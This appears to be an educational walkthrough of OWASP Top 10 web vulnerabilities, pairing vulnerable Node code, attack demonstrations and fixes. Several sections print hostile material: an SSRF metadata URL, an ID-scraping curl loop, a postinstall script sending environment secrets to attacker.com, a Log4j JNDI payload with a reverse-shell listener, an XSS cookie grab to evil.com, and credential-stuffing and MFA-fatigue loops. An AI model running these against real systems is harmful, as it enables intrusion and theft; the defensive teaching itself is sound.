Broken Access Control
Users can act outside their intended permissions — viewing other users' data, modifying records they shouldn't touch, escalating privileges or forcing the server to make requests on their behalf via Server-Side Request Forgery (SSRF), now included in this category.
The Normal Flow
A user views their own profile. Everything looks fine on the surface.
Alice Smith
alice.smith@email.com
Role: User
User ID: 123
{
"id": 123,
"name": "Alice Smith",
"email": "alice.smith@email.com",
"role": "user",
"ssn": "***-**-7890",
"billing": { "card_last4": "4242" }
}
The Vulnerable Code
The API endpoint serves user data based on the URL parameter — but never checks who is asking.
// GET /api/users/:id/profile
app.get('/api/users/:id/profile', async (req, res) => {
// ❌ No check: does the logged-in user own this profile?
// ❌ No check: is req.params.id === req.session.userId?
const user = await db.query(
'SELECT * FROM users WHERE id = $1',
[req.params.id]
);
// ❌ Returns ALL fields including sensitive data
res.json(user);
});
// POST /api/preview-url — generates a link preview
app.post('/api/preview-url', async (req, res) => {
const { url } = req.body;
// ❌ Fetches ANY user-supplied URL from the server
// ❌ No allowlist, no validation, no blocked ranges
const response = await fetch(url);
const html = await response.text();
const title = extractTitle(html);
const image = extractOGImage(html);
res.json({ title, image });
});
// An attacker can pass internal URLs:
// url = "http://169.254.169.254/latest/meta-data/iam/"
// url = "http://internal-admin-panel:8080/users"
// url = "http://localhost:6379/CONFIG" (Redis)
- The route accepts any user ID in the URL parameter
- There's no authorisation check — it never verifies the requester owns this profile
- It returns all database fields including SSN (Social Security Number), billing info, etc.
- The only "security" is obscurity — hoping users won't guess other IDs
- SSRF was previously its own category (A10:2021)
- Now merged into Broken Access Control — it's the server being tricked into accessing resources it shouldn't
- Same root cause: insufficient validation of what a request can access
- Particularly dangerous in cloud environments (Amazon Web Services (AWS) metadata endpoints, internal services)
The Attack
The attacker notices the user ID in the URL and simply changes it. No special tools needed — just Chrome DevTools.
▶ {
id: 456,
name: "Bob Johnson", ← Not our account!
email: "bob.j@company.com",
role: "admin", ← Admin user exposed
ssn: "123-45-6789", ← PII (Personally Identifiable Information) leaked
billing: { card_last4: "1337", exp: "03/27" }
}
123 →
456 in the URL. The server happily returned
another user's full record.
▶ {
"title": "aws-role-name",
"content": {
"AccessKeyId": "AKIAIOSFODNN7EXAMPLE",
"SecretAccessKey": "wJalrXUtnFEMI/K7MDENG...",
"Token": "FwoGZXIvYXdzEBYaDH...",
"Expiration": "2025-06-20T02:30:00Z"
}
}
# Scrape every user profile in seconds
for id in $(seq 1 10000); do
curl -s "https://example.com/api/users/${id}/profile" \
-H "Cookie: session=attacker_session" >> dump.json
echo "" >> dump.json
done
# Result: 10,000 user records with PII, roles, billing info
# Total time: ~3 minutes
# Tools required: curl + a for loop
The Impact
What the attacker now has — and what it means for the business.
| id | name | role | ssn | card | |
|---|---|---|---|---|---|
| 1 | Admin Root | admin@example.com | super_admin | 001-23-4567 | 9999 |
| 2 | Jane CTO | jane@example.com | admin | 234-56-7890 | 5555 |
| 123 | Alice Smith | alice@email.com | user | 987-65-4321 | 4242 |
| 456 | Bob Johnson | bob.j@company.com | admin | 123-45-6789 | 1337 |
| 457 | Carol Williams | carol@email.com | user | 345-67-8901 | 8888 |
| ... 9,995 more rows ... | |||||
What happens once this data reaches someone who shouldn't have it.
Identity Theft
SSNs + names + emails = everything needed for identity fraud
Cloud Takeover (SSRF)
Stolen cloud credentials → full account compromise on AWS, GCP (Google Cloud Platform) or Azure
Regulatory Fines
GDPR (General Data Protection Regulation): up to €20M or 4% of global revenue
Reputation Damage
Breach disclosure → lost customers → stock drop
An internet-facing API reportedly required no authentication and returned customer records for any ID requested — an insider's account that Optus itself disputed, calling it a more sophisticated attack instead. Roughly 9.8 million people's data was scraped from Optus, which is majority-owned by Singapore's Singtel.
Source: Wikipedia
An attacker queried a single API for over a month before detection, with no effective rate limiting or ownership checks. About 37 million customer accounts were exposed.
Source: Krebs on Security
Any logged-in user could query any other user's account by changing an ID in the request — no ownership check at all. Around 60 million accounts were affected.
Source: Krebs on Security
The Fix
Proper access control — deny by default, verify ownership, minimise data exposure, validate URLs server-side.
// Middleware: verify authentication first
app.get('/api/users/:id/profile',
authenticateToken, // ✅ Must be logged in
async (req, res) => {
// ✅ Check: does the requester own this resource?
if (req.params.id !== req.user.id && req.user.role !== 'admin') {
return res.status(403).json({ error: 'Forbidden' });
}
const user = await db.query(
'SELECT id, name, email, role FROM users WHERE id = $1',
// ↑ ✅ Only select needed fields (no SSN, no billing)
[req.params.id]
);
// ✅ Return only the DTO (Data Transfer Object) — never the raw DB row
res.json({
id: user.id,
name: user.name,
email: user.email,
});
});
const { URL } = require('url');
const dns = require('dns').promises;
// ✅ Allowlist of permitted domains for URL preview
const ALLOWED_DOMAINS = ['github.com', 'twitter.com', 'youtube.com'];
// ✅ Block private/internal IP ranges
function isPrivateIP(ip) {
return /^(10\.|172\.(1[6-9]|2\d|3[01])\.|192\.168\.|127\.|169\.254\.|0\.)/.test(ip);
}
app.post('/api/preview-url', authenticateToken, async (req, res) => {
const { url } = req.body;
// ✅ Parse and validate URL structure
let parsed;
try { parsed = new URL(url); } catch { return res.status(400).json({ error: 'Invalid URL' }); }
// ✅ Only allow HTTPS
if (parsed.protocol !== 'https:') return res.status(400).json({ error: 'HTTPS only' });
// ✅ Check domain allowlist
if (!ALLOWED_DOMAINS.includes(parsed.hostname)) {
return res.status(403).json({ error: 'Domain not allowed' });
}
// ✅ DNS resolution check — block private IPs (anti-rebinding)
const { address } = await dns.lookup(parsed.hostname);
if (isPrivateIP(address)) return res.status(403).json({ error: 'Blocked' });
const response = await fetch(url, { redirect: 'error' }); // ✅ No redirects
// ... process response safely
});
Every route is protected unless explicitly made public. Use middleware.
Never trust the URL parameter alone. Always compare with the authenticated session.
Select only the fields you need. Use DTOs/view models.
Never return SELECT *.
UUIDs (Universally Unique Identifiers, e.g.,
f47ac10b-58cc...) are harder to enumerate
than 1, 2, 3...
Allowlist domains, block private IPs, disable redirects, use an egress proxy for outbound fetches.
Alert on repeated 403s from the same session — it's likely an enumeration attempt.
Security Misconfiguration
Every tested application showed some form of misconfiguration. Default credentials, verbose error messages, unnecessary services, open cloud storage, missing security headers and exposed admin panels.
The Normal-Looking App
Everything seems fine to end users. But under the surface, the deployment is wide open.
Dashboard
Welcome back, user. Everything looks normal here.
HTTP/1.1 200 OK
Server: Apache/2.4.49 (Ubuntu) ← ❌ Reveals exact version (CVE-2021-41773 — a Common Vulnerabilities and Exposures ID)
X-Powered-By: Express 4.17.1 ← ❌ Framework version leaked
Access-Control-Allow-Origin: * ← ❌ Any origin can read responses
Content-Type: text/html; charset=utf-8
← ❌ Missing: Strict-Transport-Security
← ❌ Missing: Content-Security-Policy
← ❌ Missing: X-Frame-Options
← ❌ Missing: X-Content-Type-Options
The Misconfigurations
Default settings left in production, sample apps still deployed, admin panels exposed, error messages revealing internals.
# These are found on production servers DAILY by scanners
Admin Panel: admin / admin
Database: postgres / postgres
Redis: (no password)
Elasticsearch: (no authentication)
Jenkins: admin / admin
Grafana: admin / admin
phpMyAdmin: root / (empty)
Spring Actuator: (open /actuator/env)
# Also left in production:
/phpmyadmin/ ← Database GUI, no auth
/server-status ← Apache status page
/.env ← Environment variables with secrets
/debug/ ← Debug toolbar still enabled
Internal Server Error
TypeError: Cannot read property 'name' of null
at /app/src/controllers/userController.js:47:23
at Layer.handle [as handle_request] (/app/node_modules/express/lib/router/layer.js:95:5)
Environment: production
Node: v18.17.0
Database: PostgreSQL 14.2 @ db-prod-1.internal:5432
Connection string: postgres://app_user:Pr0d_P@ss!@db-prod-1.internal/maindb
# Attacker guesses common bucket naming patterns
$ aws s3 ls s3://company-backups --no-sign-request
2025-06-01 04:00:01 4.2 GB database-backup-2025-06-01.sql.gz
2025-06-01 04:00:03 128 MB user-uploads/
2025-06-01 04:00:05 2.1 MB .env.production
2025-06-01 04:00:05 890 KB ssl-certificates/
# Download everything — no credentials needed
$ aws s3 sync s3://company-backups ./stolen/ --no-sign-request
download: s3://company-backups/database-backup-2025-06-01.sql.gz
# Bucket policy was left as:
{
"Effect": "Allow",
"Principal": "*", ← Anyone on the internet
"Action": "s3:GetObject",
"Resource": "arn:aws:s3:::company-backups/*"
}
The Attack
Attackers use automated scanners and simple discovery techniques to find misconfigurations. No exploitation needed — the doors are already open.
# Dirsearch — find hidden/forgotten paths in seconds
$ dirsearch -u https://app.example.com -w common.txt
[200] /robots.txt
[200] /.env ← SECRETS EXPOSED
[200] /phpmyadmin/ ← DB ADMIN PANEL
[200] /server-status ← SERVER INFO
[200] /actuator/env ← SPRING BOOT INTERNALS
[200] /graphql ← INTROSPECTION ENABLED
[200] /api/swagger-ui.html ← FULL API DOCS
[403] /admin ← exists but blocked (try harder)
# .env file contents:
$ curl https://app.example.com/.env
DATABASE_URL=postgres://app_user:Pr0d_P@ss!@db-prod-1.internal/maindb
JWT_SECRET=super_secret_key_123
STRIPE_SECRET_KEY=sk_live_MOCK_STRIPE_KEY_DO_NOT_USE
AWS_ACCESS_KEY_ID=AKIAIOSFODNN7EXAMPLE
"*" ← Any website can make authenticated requests!Access-Control-Allow-Origin: *, any
website the user visits can silently read data from your
API using their session.
# Nuclei runs thousands of misconfig checks in minutes
$ nuclei -u https://app.example.com -t misconfiguration/
[critical] exposed-env-file https://app.example.com/.env
[high] open-redirect https://app.example.com/redirect?url=
[high] cors-misconfiguration https://app.example.com/api/
[medium] missing-csp-header https://app.example.com/
[medium] missing-hsts https://app.example.com/
[info] tech-detect Apache/2.4.49 · Express 4.17.1 · PostgreSQL
# Shodan query to find exposed instances:
# "X-Powered-By: Express" "admin" port:3000 country:US
# → Returns thousands of exposed Express apps with admin panels
The Impact
Misconfigurations are the easiest wins for attackers — no "hacking" required, just reading what's already exposed.
None of this required exploiting a bug — just reading what was already exposed.
Secret Keys Exposed
.env files with API keys, JWT (JSON Web Token) secrets, database credentials in plain text
Database Access
Exposed phpMyAdmin, open Elasticsearch, Redis with no auth
Cloud Storage Dump
Public S3 buckets with backups, user data, certificates
Attack Surface Info
Stack traces, versions, internal hostnames → precise exploit selection
Misconfigured WAF (Web Application Firewall) + SSRF allowed access to AWS metadata → 106 million customer records exposed. $80M fine.
Source: Wikipedia
OData APIs defaulted to public. 38 million records from 47 organisations exposed including COVID contact tracing data.
Source: UpGuard
Misconfigured server allowed full source code download — 128GB including payout data and internal tools.
Source: Wikipedia
Third-party app datasets left on publicly accessible Amazon S3 (Simple Storage Service) storage with no password. Over 540 million records — comments, likes, account names — exposed for anyone to download.
Source: UpGuard
The Singapore-founded gaming and fintech company left an Elasticsearch server with no password for about three weeks, exposing roughly 100,000 customers' order and shipping details.
Source: Wikipedia
An official inquiry found an unpatched front-end workstation and a database admin password that was only 8 characters and unchanged since 2012 let attackers sit undetected for months, exfiltrating 1.5 million patients' records including the Prime Minister's.
Source: Wikipedia
The Fix
Automated, repeatable hardening — minimal installs, secure defaults, continuous verification.
const helmet = require('helmet');
// ✅ Helmet sets all security headers in one line
app.use(helmet());
// ✅ Strict CORS — only your frontend domain
app.use(cors({
origin: 'https://app.example.com',
credentials: true
}));
// ✅ Remove server identification
app.disable('x-powered-by');
// ✅ Production error handler — NEVER leak stack traces
app.use((err, req, res, next) => {
console.error(err); // Log internally
res.status(500).json({ error: 'Something went wrong' }); // Generic to user
});
// ✅ Disable directory listing
// In nginx: autoindex off;
// In Apache: Options -Indexes
Remove sample apps, unused frameworks, default accounts. Install only what you need.
Database, admin panels, cloud consoles, CI/CD (Continuous Integration/Continuous Deployment) tools. Automate rotation.
Content-Security-Policy (CSP),
Strict-Transport-Security (HSTS), X-Frame-Options,
X-Content-Type-Options, Referrer-Policy. Use
helmet or equivalent.
Never Access-Control-Allow-Origin: * on
authenticated endpoints.
S3 Block Public Access at the account level. Use IAM (Identity and Access Management) policies, not bucket ACLs (Access Control Lists).
Dev, staging and production should have the same security config. Use IaC (Infrastructure as Code, e.g. Terraform, Pulumi).
# .github/workflows/security.yml — run on every PR
name: Security Checks
on: [pull_request]
jobs:
misconfig-scan:
runs-on: ubuntu-latest
steps:
# ✅ Check for secrets in code
- uses: trufflesecurity/trufflehog@main
# ✅ Scan Dockerfiles & IaC for misconfigs
- run: trivy config . --severity HIGH,CRITICAL
# ✅ Check security headers in staging
- run: |
npx check-headers https://staging.example.com \
--required "strict-transport-security,content-security-policy"
# ✅ Verify no .env files are accessible
- run: |
STATUS=$(curl -s -o /dev/null -w "%{http_code}" https://staging.example.com/.env)
if [ "$STATUS" != "404" ]; then exit 1; fi
Software Supply Chain Failures
Broader than just "vulnerable components" — covers build pipelines, dependency confusion, compromised tooling, unsigned artifacts, unmaintained packages and transitive dependencies you never audited. Ranked #1 community concern.
The Normal Flow
A developer installs packages, builds the app and ships it. The supply chain is invisible — hundreds of dependencies pulled in silently.
$ npm install express
added 62 packages in 2.1s
$ npm install next react react-dom
added 247 packages in 8.4s
# Your package.json lists 5 dependencies.
# Your node_modules/ contains 847 packages.
# You've audited maybe... 5 of them.
$ wc -l package-lock.json
38,947 package-lock.json
# Each of those 847 packages was written by a stranger,
# maintained (or abandoned) by a stranger,
# and published to a registry you trust implicitly.
Every node below is code you're trusting, whether you reviewed it or not.
The Vulnerability Surface
Multiple attack vectors: known CVEs, typosquatting, dependency confusion, compromised maintainers and poisoned build pipelines.
$ npm audit
found 12 vulnerabilities (3 low, 5 moderate, 3 high, 1 critical)
┌───────────────┬──────────────────────────────────────────────────┐
│ Critical │ Remote Code Execution in log4j-core │
├───────────────┼──────────────────────────────────────────────────┤
│ Package │ log4j-core │
│ Version │ 2.14.1 │
│ Path │ your-app > some-java-bridge > log4j-core │
│ More info │ https://nvd.nist.gov/vuln/detail/CVE-2021-44228 │
└───────────────┴──────────────────────────────────────────────────┘
# The vulnerable package is a TRANSITIVE dependency.
# You never installed it directly.
# You might not even know it's there.
# Meanwhile, the direct parent package "some-java-bridge":
# - Last published: 3 years ago
# - Open issues: 247
# - Maintainer: 1 person (inactive)
Attackers publish packages with names similar to popular ones, or use your internal package names on public registries:
| Real Package | Malicious Clone | Attack Type |
|---|---|---|
| colors | colour | Typosquat |
| lodash | lodahs | Typosquat |
| @company/utils | company-utils | Dependency confusion |
| typescript | typescipt | Typosquat |
| cross-env | crossenv | Typosquat (stole env vars) |
// postinstall.js — runs automatically on npm install
const os = require('os');
const https = require('https');
// Steal environment variables (API keys, tokens, secrets)
const data = JSON.stringify({
env: process.env, // All secrets in env vars
hostname: os.hostname(),
user: os.userInfo(),
cwd: process.cwd()
});
https.request('https://attacker.com/collect', { method: 'POST' },
() => {}).end(data);
Attackers compromise the build system itself — injecting malicious code after your source code passes review but before the artifact reaches production.
The Attack
Exploiting a known CVE in a dependency — the attacker doesn't need to find a new bug, just check your lock file.
# Step 1: Attacker sends a crafted string anywhere the app logs input
$ curl 'https://target.com/api/login' \
-H 'User-Agent: ${jndi:ldap://attacker.com:1389/exploit}'
# Step 2: Log4j parses the string, resolves the JNDI (Java Naming and Directory Interface) lookup
# Step 3: Server connects to attacker's LDAP (Lightweight Directory Access Protocol) server
# Step 4: Attacker serves a malicious Java class
# Step 5: Server executes it → REMOTE CODE EXECUTION
# The User-Agent header was just logged — that's all it takes.
# Any logged field works: search queries, form fields, headers.
# On attacker's machine:
$ nc -lvnp 4444
Connection from 52.14.xx.xx:49832
$ whoami
root
$ cat /etc/shadow
...
- Public repos often have
package-lock.jsonoryarn.lockcommitted - Error pages may reveal framework versions
- Response headers leak
X-Powered-By - JavaScript source maps expose bundle contents
$ curl https://raw.githubusercontent.com/company/app/main/package-lock.json | jq '.dependencies["log4j-core"].version'
"2.14.1" ← Known vulnerable. Exploit ready.
The Impact
Supply chain attacks scale massively — one compromised package or build affects every downstream consumer.
One compromised dependency rarely stays contained to a single app.
A Russian APT (Advanced Persistent Threat) group compromised the build pipeline. Backdoor inserted into signed updates → 18,000 organisations compromised including US Treasury and DHS.
Source: Wikipedia
Supply chain attack targeting cryptocurrency exchange infrastructure. $1.5B stolen — one of the largest thefts in history.
Source: Wikipedia
Maintainer handed off a popular npm package to a stranger. New maintainer added code to steal Bitcoin wallets. Millions of weekly downloads affected.
Sources: GitHub issue, GitHub Advisory
Attackers modified the Bash Uploader script in CI. Hundreds of companies leaked credentials from their CI/CD environments for 2 months undetected.
Attackers compromised a third-party JavaScript library loaded on the payment page, skimming card details directly in customers' browsers — BA's initial estimate was 380,000, though the ICO's final finding put it at over 400,000. Resulted in a record £20M ICO fine.
The REvil ransomware group exploited Kaseya's remote-management software, pushing ransomware through Managed Service Providers to an estimated 1,500 downstream businesses in a single weekend.
Sources: Wikipedia, Krebs on Security
A contributor spent years building trust to become co-maintainer of a core Linux compression library, then inserted a sophisticated backdoor into its build process — caught by a Microsoft engineer just before it reached major Linux distributions.
Sources: original disclosure, Wikipedia
The Fix
Inventory, verify, monitor and harden — your supply chain is only as strong as its weakest link.
Know exactly what's in your app. Track all direct AND transitive dependencies. Update continuously.
Never use ^ or * in
production deps. Commit lock files. Verify
integrity hashes.
Run npm audit, Dependabot, Snyk or Trivy
on every PR and on a schedule. Block merges on
critical CVEs.
Separation of duties, signed commits, immutable build artifacts, MFA (Multi-Factor Authentication) on repos and build servers, least-privilege service accounts.
Audit regularly. Every unused package is attack surface
you don't need. Use depcheck
or knip.
Use npm provenance, Sigstore or the SLSA (Supply-chain Levels for Software Artifacts) framework to verify packages were built from the claimed source code.
| Tool | Purpose | Stage |
|---|---|---|
| Dependabot / Renovate | Auto-update deps with PRs | Dev |
| npm audit / yarn audit | Known CVE scanning | CI |
| Snyk / Trivy | Deep SCA (Software Composition Analysis) + container scanning | CI/CD |
| Socket.dev | Detect suspicious package behaviour | PR Review |
| Sigstore / cosign | Sign & verify artifacts | Build/Deploy |
| SLSA Framework | Supply chain integrity levels | Architecture |
| depcheck / knip | Find unused dependencies | Dev |
| TruffleHog | Find leaked secrets in repos | CI |
# ✅ Use exact versions only (no ^ or ~)
save-exact=true
# ✅ Refuse to install if lock file would change
lockfile-version=3
# ✅ Block postinstall scripts from untrusted packages
ignore-scripts=true
# ✅ Scope internal packages to private registry
@company:registry=https://npm.internal.company.com/
# ✅ Require provenance attestation
audit=true
fund=false
{
"scripts": {
"preinstall": "npx only-allow npm", // ✅ Enforce package manager
"audit": "npm audit --audit-level=high",
"deps:check": "npx depcheck",
"deps:license": "npx license-checker --failOn 'GPL-3.0'"
},
"overrides": {
"vulnerable-transitive-dep": ">=2.0.0" // ✅ Force-patch transitive deps
}
}
Cryptographic Failures
Sensitive data protected by weak, outdated or homegrown cryptography — which, offline, offers barely more protection than storing it in plain text.
The Normal Flow
A new user signs up and chooses a password.
Account created
{ "userId": 501, "created": true }
The Vulnerable Code
The password is hashed — with an algorithm that was never designed to store passwords safely.
// POST /api/signup
app.post('/api/signup', async (req, res) => {
const { email, password } = req.body;
// ❌ MD5 was designed for checksums, not passwords — it's fast, which is exactly wrong here
// ❌ No salt — identical passwords produce identical hashes
const passwordHash = crypto.createHash('md5').update(password).digest('hex');
await db.query(
'INSERT INTO users (email, password_hash) VALUES ($1, $2)',
[email, passwordHash]
);
res.status(201).json({ userId: 501, created: true });
});
- MD5 (and SHA-1) are fast general-purpose hash functions — great for checksums, terrible for passwords
- No salt means two users with the password "password123" get the exact same hash
- Fast, unsalted hashes are exactly what pre-computed rainbow tables are built for
The Attack
An unsalted MD5 hash doesn't need to be cracked — it just needs to be looked up.
482c811da5d5b4bc6d497ffa98491e38
This isn't cracking in any real sense — that exact hash has already been computed and published by someone else. It's a database lookup.
# Stolen database dump: 2 million email:hash pairs
$ hashcat -m 0 -a 0 stolen_hashes.txt common-passwords.txt
Hashes: 2,000,000 digests
Speed: 15,000 MH/s (MD5 on a single consumer GPU)
Recovered: 1,340,000 (67%) in under 4 minutes
# Compare: the same attack against properly salted bcrypt hashes
# Speed: ~30,000 H/s — roughly 500,000 times slower
The Impact
A stolen list of hashes becomes a plaintext password list.
| password_hash | recovered password | |
|---|---|---|
| alice@email.com | 482c811d... | password123 |
| bob@company.com | 25f9e794... | 123456 |
| ... 1.3 million more recovered rows ... | ||
These four consequences don't all land on the same target — some hit the breached company, others hit its users.
Credential Reuse Attacks
Recovered passwords get tried against banking, email and other unrelated accounts
Identity Theft
Combined with other leaked data, weak hashing turns a breach into full identity compromise
Regulatory Fines
Regulators treat weak password storage as a failure of "reasonable" security measures
Permanent Exposure
Unlike a session token, a password can't be revoked — it's often reused for years
Around 150 million accounts were exposed with passwords encrypted rather than hashed, using a weak scheme — and password hints stored right alongside in plain text.
Source: Wikipedia
6.5 million password hashes were leaked using unsalted SHA-1. Most were cracked within days; the full scale — 117 million accounts — only came out years later.
Sources: Wikipedia, Krebs on Security
The Fix
Use a slow, salted, purpose-built password hashing algorithm.
// ✅ bcrypt is slow by design and generates a unique salt automatically
const bcrypt = require('bcrypt');
app.post('/api/signup', async (req, res) => {
const { email, password } = req.body;
const passwordHash = await bcrypt.hash(password, 12); // ✅ Cost factor 12
await db.query(
'INSERT INTO users (email, password_hash) VALUES ($1, $2)',
[email, passwordHash]
);
res.status(201).json({ userId: 501, created: true });
});
| Algorithm | Designed for | Safe for passwords? |
|---|---|---|
| MD5 / SHA-1 | Checksums | No |
| SHA-256 (unsalted) | General hashing | No |
| bcrypt | Password storage | Yes |
| Argon2 | Password storage | Yes (recommended) |
Never a general-purpose hash like MD5, SHA-1 or unsalted SHA-256.
Modern libraries generate and store this automatically — never reuse a single salt across users.
Homegrown encryption schemes almost always have subtle flaws that established libraries have already solved for.
Card numbers, ID numbers and similar fields need strong encryption with carefully managed keys.
If your system can email a user their old password, it was never hashed properly in the first place.
Injection
Untrusted input treated as executable code instead of data — SQL, NoSQL, OS commands, LDAP and XSS (Cross-Site Scripting) all share the same root cause: the app can't tell where the query ends and the attacker's input begins.
The Normal Flow
A user searches for a product by name.
The Vulnerable Code
User input is glued directly into a query string — and, separately, into the page HTML.
// GET /api/search?q=...
app.get('/api/search', async (req, res) => {
const q = req.query.q;
// ❌ User input pasted straight into the query string
const results = await db.query(
`SELECT * FROM products WHERE name LIKE '%${q}%'`
);
res.json(results);
});
// Renders a customer review submitted by another user
function Review({ review }) {
// ❌ Renders raw HTML instead of escaped text
return <div dangerouslySetInnerHTML={{ __html: review.text }} />;
}
// A review left by an attacker:
// review.text = "<script>fetch('https://evil.com/steal?c='+document.cookie)</script>"
- The SQL query is built with string interpolation — user input becomes part of the query syntax
- The review page renders HTML directly from user input, with no escaping or sanitisation
- Neither input is validated against an allowlist of expected characters
The Attack
A single quote breaks out of the string. A script tag runs in someone else's browser.
Normal input: headphones
The query runs exactly as the developer intended.
Malicious input: ' OR '1'='1
The quote closes the string early.
OR '1'='1' makes the condition true for every
row in the table.
▶ Request sent to evil.com
cookie: "sessionToken=sess_a1b2c3d4"
# sqlmap and similar tools automate the whole process
$ sqlmap -u "https://example.com/api/search?q=headphones" \
--dbs --batch
[INFO] parameter 'q' appears injectable
[INFO] the back-end DBMS is PostgreSQL
available databases:
[*] production_db
[*] admin_panel
# From here: --dump extracts entire tables automatically
# No manual UNION-crafting needed — the tool does it all
The Impact
One unescaped string, and the entire database is on the table.
| username | password_hash | role |
|---|---|---|
| admin | $2b$10$N9qo8u... | super_admin |
| j.tan | $2b$10$Kx3mP1... | finance |
| ... every other row in the table ... | ||
One injection flaw fans out into very different kinds of damage — technical, human and legal.
Full Database Dump
UNION-based injection can read any table the database user can access
Data Destruction
The same access that reads data can drop tables or wipe records
Session Theft (XSS)
Stolen cookies let an attacker impersonate any visitor, including admins
Regulatory Fines
Payment card and personal data leaks trigger PCI DSS and privacy penalties
Attackers used SQL injection to plant malware on the payment processor's network, stealing over 130 million card numbers — one of the largest breaches at the time.
Sources: Krebs on Security, Wikipedia
A basic SQL injection attack on the UK telecom exposed around 157,000 customers' personal data, resulting in a £400,000 fine from the ICO.
Source: Wikipedia
The Fix
Never let user input become part of the query syntax or the page markup.
// ✅ Parameterised query — the database treats $1 strictly as data
app.get('/api/search', async (req, res) => {
const q = req.query.q;
const results = await db.query(
'SELECT * FROM products WHERE name LIKE $1',
[`%${q}%`]
);
res.json(results);
});
// ✅ Render as text, never as HTML
function Review({ review }) {
return <div>{review.text}</div>; // React escapes this automatically
}
// ✅ Also add a Content-Security-Policy header as a second layer of defence:
// Content-Security-Policy: script-src 'self'
Never build a query by concatenating or interpolating user input into the query string.
Text going into HTML, attributes and JavaScript each need different escaping rules — use your framework's built-in escaping.
A strict CSP (Content-Security-Policy) stops injected scripts from running even if one slips through.
The application's database user shouldn't be able to read tables it never legitimately needs.
Reject unexpected characters early, as defence in depth — not as a substitute for parameterised queries.
Insecure Design
Architectural flaws that perfect code can't fix — a feature built exactly to specification, where nobody ever asked "what happens if someone abuses this?"
The Normal Flow
A user forgets their password and resets it by answering a security question.
Password reset successful
{ "verified": true, "resetToken": "rst_9f8e7d6c" }
The Missing Threat Model
The code works exactly as specified. Nobody specified what an attacker could do with it.
// POST /api/reset-password/verify
// This code has no bugs. It does precisely what the ticket asked for.
app.post('/api/reset-password/verify', async (req, res) => {
const { email, answer } = req.body;
const user = await db.query('SELECT * FROM users WHERE email = $1', [email]);
// ❌ Design gap: no limit on verification attempts
// ❌ Design gap: the question's answer space is tiny and often public
if (answer.toLowerCase() === user.securityAnswer.toLowerCase()) {
const resetToken = issueResetToken(user.id);
return res.json({ verified: true, resetToken });
}
res.status(400).json({ verified: false });
});
- The code correctly implements "compare the submitted answer to the stored one"
- No line of this code is syntactically or logically wrong
- The flaw is in the choice to use a security question at all — the design never accounted for guessable or publicly researchable answers
- How many possible answers exist for "first pet's name"? (Hint: a few hundred)
- Can this answer be found on the user's public social media profile?
- What stops someone from trying every common answer in a loop?
The Attack
No password is needed — just research or a short list of common answers.
▶ { verified: true, resetToken: "rst_9f8e7d6c" }
# common-pet-names.txt — top 500 pet names, no research required
while read -r name; do
curl -s -X POST https://example.com/api/reset-password/verify \
-d "{\"email\":\"victim@example.com\",\"answer\":\"$name\"}" \
-o /dev/null -w "%{http_code}\n"
done < common-pet-names.txt | grep -n 200
# No rate limit, no lockout, no CAPTCHA
# 500 requests takes under a minute
The Impact
Whoever answers the question owns the account — no password, no MFA (Multi-Factor Authentication), no questions.
| step | action | needed the real password? |
|---|---|---|
| 1 | Submit security answer | No |
| 2 | Receive reset token | No |
| 3 | Set a brand new password | No |
None of this requires attacker skill — it's a flawed design that already affects every account on the platform.
Total Account Lockout
The real owner is now locked out of their own account
Impersonation
Attackers can message contacts, post publicly or access linked accounts
No Patch Available
Fixing this means redesigning the recovery flow, not shipping a hotfix
Scales to Every User
The same weak design applies to every account on the platform
An attacker reset the then-VP candidate's Yahoo Mail using publicly known security-question answers — her birthdate and where she went to high school — found on Wikipedia in under a minute.
Sources: Wikipedia, Wikipedia: David Kernell
A phone-number lookup feature worked exactly as designed, with no abuse-case consideration — researchers used it to match 4.6 million usernames to phone numbers.
Source: Wikipedia
The Fix
Redesign the flow around what an attacker would try, not just what a legitimate user needs.
// ✅ No security questions at all — a time-limited link sent to a verified channel
app.post('/api/reset-password/request', resetRateLimiter, async (req, res) => {
const { email } = req.body;
const user = await db.query('SELECT * FROM users WHERE email = $1', [email]);
// ✅ Same response whether or not the account exists — no enumeration
if (user) {
const token = issueSignedToken(user.id, { expiresIn: '15m' });
await sendEmail(user.email, resetLink(token));
await notifyAllDevices(user.id, 'A password reset was requested');
}
res.json({ message: 'If that account exists, a reset link has been sent.' });
});
For every feature, ask "how would someone abuse this?" as a design step, not an afterthought.
Their answer spaces are small, guessable and often publicly researchable. Use verified email or SMS links instead.
Alongside "As a user, I can reset my password", write "As an attacker, I try to reset someone else's password".
Password reset, login and verification endpoints should assume automation from day one.
An email or push notification on password reset gives the real owner a chance to react fast.
Authentication Failures
Weak or missing checks on who's actually logging in — no limit on failed attempts, no second factor, predictable session tokens. A stolen or guessed password becomes a full account takeover.
The Normal Flow
A user logs in with an email and password. Nothing about the request looks unusual.
Logged in as Alice Smith
{
"userId": 123,
"sessionToken": "sess_a1b2c3d4",
"expiresIn": 86400
}
The Vulnerable Code
The login route checks the password — and nothing else.
// POST /api/login
app.post('/api/login', async (req, res) => {
const { email, password } = req.body;
const user = await db.query('SELECT * FROM users WHERE email = $1', [email]);
// ❌ No limit on failed attempts from this IP or account
if (!user || !checkPassword(password, user.passwordHash)) {
return res.status(401).json({ error: 'Invalid credentials' });
}
// ❌ No second factor — a correct password is the only thing needed
const sessionToken = createSession(user.id);
res.json({ userId: user.id, sessionToken, expiresIn: 86400 });
});
- No rate limiting or account lockout — the endpoint will happily check millions of passwords
- No MFA (Multi-Factor Authentication) — a leaked password is enough on its own
- Failed and successful logins aren't distinguished for monitoring purposes
The Attack
Two attacks that need nothing more than a list of leaked passwords and patience.
# leaked-combos.txt — 2 million email:password pairs from unrelated breaches
while read -r line; do
email="${line%%:*}"
password="${line##*:}"
curl -s -X POST https://example.com/api/login \
-d "{\"email\":\"$email\",\"password\":\"$password\"}" \
-o /dev/null -w "%{http_code} $email\n"
done < leaked-combos.txt | grep 200 >> valid-accounts.txt
# No lockout, no CAPTCHA, no rate limit — every request just gets answered
# Typical hit rate on reused passwords: 0.1–2% of the list
# On 2 million combos, that's thousands of working accounts
# The attacker already has a valid password from the stuffing run above
# Now they just need the user to tap "Approve" once, out of annoyance
for i in $(seq 1 40); do
curl -s -X POST https://example.com/api/mfa/push \
-d '{"sessionId":"pending_abc123"}'
sleep 45
done
# 1:14am — push notification #23
# 1:15am — push notification #24
# 1:15am — user taps "Approve" just to make it stop
The Impact
Once the attacker is inside, every permission the real account holder had is now theirs.
▶ {
vpnGateway: "vpn.internal-corp.example.com",
certificate: "-----BEGIN CERTIFICATE-----...",
scadaAccess: true ← Same login grants remote access to internal systems
}
Each consequence below builds directly on the one before it, from a single foothold to operational shutdown.
